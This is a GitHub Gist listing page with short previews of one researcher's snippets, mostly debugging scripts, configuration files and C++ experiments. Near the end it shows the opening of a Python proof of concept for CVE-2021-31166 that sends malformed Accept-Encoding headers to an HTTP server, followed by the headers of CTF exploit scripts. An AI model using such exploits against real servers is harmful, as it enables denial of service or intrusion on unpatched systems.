Skip to content

Instantly share code, notes, and snippets.

Avatar
:octocat:
‎just hacking on

crazy hugsy hugsy

:octocat:
‎just hacking on
View GitHub Profile
@hugsy
hugsy / kdnetdebugvm.ps1
Created December 15, 2022 01:50
KdNet Debug VM script
View kdnetdebugvm.ps1
#
# Argument initialization
#
$nextarg = "none"
$DebugPort = "unassigned"
$targetcomputer = "."
$VMName = ""
$VMGuid = ""
$AutoAssign = "false"
@hugsy
hugsy / docker-compose.yml
Last active December 2, 2022 00:12
Basic docker-compose for Elastic+Kibana
View docker-compose.yml
version: "3.0"
services:
es00:
image: "docker.elastic.co/elasticsearch/elasticsearch-oss:7.10.2"
ports:
- "9200:9200"
- "9300:9300"
volumes:
- "es-data-es00:/usr/share/elasticsearch/data"
es01:
@hugsy
hugsy / meh.json
Created September 19, 2022 16:44
View meh.json
// Place your key bindings in this file to overwrite the defaults
[
{
"key": "ctrl+x ctrl+f",
"command": "workbench.action.files.openFile"
},
{
"key": "ctrl+o",
"command": "-workbench.action.files.openFile"
},
@hugsy
hugsy / constexpr_rand.cc
Created July 21, 2022 01:01
Basic (bad) experiments for a constexpr rand() function
View constexpr_rand.cc
//
// Requires C++20
//
#include <cstdint>
#include <iostream>
#include <string>
constexpr static auto to_int(const char* str, int offset) {
return static_cast<std::uint32_t>(str[offset] - '0') * 10 +
@hugsy
hugsy / streams1.cpp
Created June 9, 2022 23:18
NTFS streams
View streams1.cpp
//
// http://web.archive.org/web/20150617011338/http://win32.mvps.org/ntfs/dump_ntfs_streams.cpp
//
#include <windows.h>
#include <stdio.h>
#pragma hdrstop
@hugsy
hugsy / Microsoft.PowerShell_profile.ps1
Last active February 18, 2022 00:24
My PowerShell profile
View Microsoft.PowerShell_profile.ps1
Import-Module posh-git
Import-Module oh-my-posh
Import-Module -Name Terminal-Icons
Set-PoshPrompt slimfat
Set-PSReadlineOption -EditMode Emacs
Set-PSReadLineKeyHandler -Chord Ctrl+LeftArrow -Function BackwardWord
Set-PSReadLineKeyHandler -Chord Ctrl+RightArrow -Function NextWord
# Set-PSReadLineKeyHandler -Chord Ctrl+Backspace -Function BackwardKillWord
View cve-2021-31166.py
#!/usr/bin/python3.9
import socket
s = socket.socket()
s.connect( ("192.168.57.99", 80) )
s.send(b"""POST / HTTP/1.1\r
Host: 192.168.57.99\r
Accept-Encoding: w00t\r
Accept-Encoding: \r
@hugsy
hugsy / xp.py
Created March 25, 2021 22:04
securinet - death_note
View xp.py
#!/usr/bin/env python3.8
"""
death_note - securinets quals 2021
@_hugsy_
$ checksec ./death_note
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
@hugsy
hugsy / xp.py
Last active March 25, 2021 23:05
securinet - membership
View xp.py
#!/usr/bin/env python3.9
"""
membership - securinets quals 2021
@_hugsy_
$ ./xp.py remote
[*] '/home/hugsy/ctf/securinets_quals_2021/membership/membership'
Arch: amd64-64-little
RELRO: Full RELRO
@hugsy
hugsy / xp.py
Created March 21, 2021 00:13
securinet - killshot
View xp.py
#!/usr/bin/env python3.8
"""
$ ./xp.py remote
[+] Opening connection to bin.q21.ctfsecurinets.com on port 1338: Done
[*] step 1: leak stuff
[+] leaked addresses:
0x563765daa240
0x563765da9b10
0x7ffd0d86b5e0